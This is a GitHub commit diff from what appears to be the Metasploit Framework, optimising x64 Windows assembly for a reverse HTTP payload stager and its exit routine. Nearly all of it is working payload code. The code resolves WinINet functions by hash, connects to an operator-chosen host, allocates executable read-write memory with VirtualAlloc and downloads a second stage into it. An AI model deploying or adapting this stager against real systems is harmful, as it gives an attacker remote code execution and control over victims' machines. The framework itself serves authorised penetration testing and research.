Skip to content

Commit e69e6c4

Browse files
committed
Implement winhttp for x64
Still has some quirks to fix up, but we're getting there. Everything seems to work except for reverse_winhttps. I can't see why at this point.
1 parent 800ab11 commit e69e6c4

File tree

13 files changed

+714
-133
lines changed

13 files changed

+714
-133
lines changed

lib/msf/core/payload/windows/x64/exitfunk.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -57,17 +57,15 @@ def asm_exitfunk(opts={})
5757
asm << %Q^
5858
push 0 ;
5959
pop rcx ; set the exit function parameter
60-
mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)}
61-
mov r10d, ebx ; place the correct EXITFUNK into r10d
60+
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
6261
call rbp ; ExitProcess(0)
6362
^
6463

6564
when 'sleep'
6665
asm << %Q^
6766
push 300000 ; 300 seconds
6867
pop rcx ; set the sleep function parameter
69-
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
70-
mov r10d, ebx ; place the correct EXITFUNK into r10d
68+
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
7169
call rbp ; Sleep(30000)
7270
jmp exitfunk ; repeat
7371
^

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 40 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -198,8 +198,10 @@ def asm_reverse_http(opts={})
198198
end
199199

200200
asm = %Q^
201+
xor rbx, rbx
202+
201203
load_wininet:
202-
push 0
204+
push rbx
203205
mov r14, 'wininet'
204206
push r14 ; Push 'wininet',0 onto the stack
205207
mov r14, rsp ; Save pointer to string
@@ -222,17 +224,19 @@ def asm_reverse_http(opts={})
222224
else
223225
asm << %Q^
224226
xor r8, r8 ; NULL pointer (lpszProxyName)
225-
xor rdx, rdx ; PRECONFIG = 0 (dwAccessType)
227+
; the push/pop sequence saves a byte over XOR
228+
push rbx
229+
pop rdx ; PRECONFIG = 0 (dwAccessType)
226230
^
227231
end
228232

229233
asm << %Q^
230-
push 0 ; alignment
231-
push 0 ; NULL pointer
234+
push rbx ; 0 for alignment
235+
push rbx ; 0 for alignment
232236
xor r9, r9 ; NULL pointer (lpszProxyBypass)
233237
mov rcx, rsp ; Empty string pointer (lpszAgent)
234-
push 0 ; 0 (dwFlags)
235-
push 0 ; alignment
238+
push rbx ; 0 (dwFlags)
239+
push rbx ; 0 for alignment
236240
mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
237241
call rbp
238242
^
@@ -247,10 +251,10 @@ def asm_reverse_http(opts={})
247251
mov rcx, rax ; HINTERNET (hInternet)
248252
mov r8, #{opts[:port]} ;
249253
xor r9, r9 ; String (lpszUsername)
250-
push 0 ; NULL (dwContext)
251-
push 0 ; 0 (dwFlags)
254+
push rbx ; NULL (dwContext)
255+
push rbx ; 0 (dwFlags)
252256
push 3 ; INTERNET_SERVICE_HTTP (dwService)
253-
push 0 ; alignment
257+
push rbx ; 0 for alignment
254258
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
255259
call rbp
256260
^
@@ -277,8 +281,8 @@ def asm_reverse_http(opts={})
277281
pop r9
278282
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
279283
; TODO: Without these pushes, things crashed. Not sure why.
280-
push 0 ; alignment
281-
push 0 ; alignment
284+
push rbx ; 0 for alignment
285+
push rbx ; 0 for alignment
282286
call rbp
283287
^
284288
end
@@ -297,8 +301,8 @@ def asm_reverse_http(opts={})
297301
pop r9
298302
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
299303
; TODO: Without these pushes, things crashed. Not sure why.
300-
push 0 ; alignment
301-
push 0 ; alignment
304+
push rbx ; 0 for alignment
305+
push rbx ; 0 for alignment
302306
call rbp
303307
^
304308
end
@@ -318,18 +322,20 @@ def asm_reverse_http(opts={})
318322
httpopenrequest:
319323
pop r8 ; String (lpszObjectName)
320324
mov rcx, rax ; HINTERNET (hConnect)
321-
xor rdx, rdx ; NULL pointer (lpszVerb)
325+
; the push/pop sequence saves a byte over XOR
326+
push rbx
327+
pop rdx ; NULL pointer (lpszVerb)
322328
xor r9, r9 ; String (lpszVersion)
323-
push 0 ; 0 (dwContext)
329+
push rbx ; 0 (dwContext)
324330
; TODO: figure out what's going on here (get help from HD?)
325331
; Having to use mov + push instead of push qword because
326332
; Metasm doesn't seem to like it. Plain 'push' doesn't work
327333
; because of an overflow error.
328334
;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags)
329335
mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags)
330336
push r10
331-
push 0 ; NULL pointer (lplpszAcceptTypes)
332-
push 0 ; NULL pointer (lpszReferer)
337+
push rbx ; NULL pointer (lplpszAcceptTypes)
338+
push rbx ; NULL pointer (lpszReferer)
333339
mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
334340
call rbp
335341
mov rsi, rax ; Store the request handle in RSI
@@ -347,7 +353,7 @@ def asm_reverse_http(opts={})
347353
mov rcx, rsi ; (hInternet)
348354
push 31 ; INTERNET_OPTION_SECURITY_FLAGS
349355
pop rdx
350-
push 0 ; alignment
356+
push rbx ; 0 for alignment
351357
push #{set_option_flags} ; (dwFlags)
352358
mov r8, rsp
353359
push 4 ; sizeof(dwFlags)
@@ -360,18 +366,20 @@ def asm_reverse_http(opts={})
360366
asm << %Q^
361367
httpsendrequest:
362368
mov rcx, rsi ; HINTERNET (hRequest)
363-
xor rdx, rdx ; NULL pointer (lpszHeaders)
369+
; the push/pop sequence saves a byte over XOR
370+
push rbx
371+
pop rdx ; NULL pointer (lpszHeaders)
364372
xor r8, r8 ; 0 (dwHeadersLength)
365373
xor r9, r9 ; NULL pointer (lpOptional)
366-
push 0 ; alignment
367-
push 0 ; 0 (dwOptionalLength)
374+
push rbx ; 0 for alignment
375+
push rbx ; 0 (dwOptionalLength)
368376
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
369377
call rbp
370-
test rax,rax
378+
test eax, eax ; use eax, it's 1 byte less than rax
371379
jnz allocate_memory
372380
373381
try_it_again:
374-
dec rdi
382+
dec edi ; use edi, it's 1 byte less than rdi
375383
jz failure
376384
jmp retry
377385
^
@@ -391,10 +399,13 @@ def asm_reverse_http(opts={})
391399

392400
asm << %Q^
393401
allocate_memory:
394-
xor rcx, rcx ; NULL pointer (lpAddress)
402+
; the push/pop sequence saves a byte over XOR
403+
push rbx
404+
pop rcx ; NULL pointer (lpAddress)
395405
mov rdx, 0x00400000 ; SIZE_T (dwSize)
396406
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
397-
mov r9, 0x40 ; PAGE_EXECUTE_READWRITE (flProtect)
407+
push 0x40
408+
pop r9 ; PAGE_EXECUTE_READWRITE (flProtect)
398409
mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
399410
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
400411
@@ -416,10 +427,11 @@ def asm_reverse_http(opts={})
416427
test eax, eax ; did the download fail?
417428
jz failure
418429
419-
mov ax, word ptr [edi]
420-
add rbx, rax ; buffer += lpNumberOfBytesRead
430+
mov ax, word ptr [rdi]
431+
; Use ebx/eax here because we save bytes (don't need higher order 32 bits)
432+
add ebx, eax ; buffer += lpNumberOfBytesRead
421433
422-
test rax, rax
434+
test eax, eax ; use eax instead of rax, saves a byte
423435
jnz download_more ; loop until 0 is returned
424436
pop rax ; clear temp storage
425437
pop rax ; alignment

0 commit comments

Comments
 (0)